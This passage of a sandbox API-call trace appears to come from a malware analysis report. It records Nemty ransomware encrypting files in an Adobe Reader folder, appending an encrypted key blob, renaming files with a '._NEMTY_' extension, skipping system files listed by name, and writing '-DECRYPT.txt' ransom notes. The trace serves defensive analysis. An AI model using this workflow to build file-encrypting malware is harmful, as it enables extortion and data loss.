lpUsedDefaultChar=0x0) returned 12 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.779] Sleep (dwMilliseconds=0x5) [0172.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aa24230, dwHighDateTime=0x1d561e8)) [0172.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aa24230, dwHighDateTime=0x1d561e8)) [0172.783] GetLastError () returned 0xb7 [0172.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.783] GetLastError () returned 0xb7 [0172.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.784] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.784] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.784] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.784] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Rf9SMOE7wcJJmeAeU2VRjdbV84B6J2tB73xYZbz7i/VndbnBQZbudJ5HZfgNJinj\r\nbilfTOT1yApFYZiQz8O4DNzYnvHJhqHy5V/JXrTRhvk+v3g77LyzNTac7+O1PcaH\r\nr/wwveNXoivLZq+kWXlpvYYzUtZNrgLSpVOKtR6zlmkqwiyJrA4TtGXhl+oOHKHh\r\nGZmgBnpM+3aNYyK07IbpLqDJjP6gLFxvHXBCu2sFZXt1EkTvJOlTKqyCzWgMUaYU\r\nSXhN+N4KiRl97yvAZfuDm/56N/h4PZyP59WBYQaS1ZKDP5l4tih2SZIYaI0n6UC9\r\n+YPTdNkfBEo7YDCsdLnJeg==\r\n", pcchString=0x653e5dc) returned 1 [0172.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.784] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=44763) returned 1 [0172.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xaed0) returned 0x6352c48 [0172.784] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.784] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xaed0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xaed0, lpOverlapped=0x0) returned 1 [0172.789] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.789] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xaed0, lpOverlapped=0x0) returned 1 [0172.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.790] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=44763, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaedb [0172.790] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.790] CloseHandle (hObject=0x3b0) returned 1 [0172.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.790] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html._nemty_kgobjgd_")) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.791] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9d7f70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a9d7f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a9d7f70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.791] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.792] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9d7f70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a9d7f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a9d7f70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.792] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.792] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2=".") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="..") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="...") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="windows") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="$RECYCLE.BIN") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="rsa") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="NTDETECT.COM") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="ntldr") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="MSDOS.SYS") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="IO.SYS") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="boot.ini") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="boot.ini") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="AUTOEXEC.BAT") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="ntuser.dat") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="desktop.ini") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="CONFIG.SYS") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="RECYCLER") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="BOOTSECT.BAK") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="bootmgr") returned 1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="programdata") returned -1 [0172.793] lstrcmpiW (lpString1="FRA", lpString2="appdata") returned 1 [0172.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FRA", lpUsedDefaultChar=0x0) returned 3 [0172.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FRA", lpUsedDefaultChar=0x0) returned 3 [0172.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.795] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.795] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.796] CloseHandle (hObject=0x254) returned 1 [0172.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.796] RtlAllocateHeap (HeapHandle=0x4f90000, 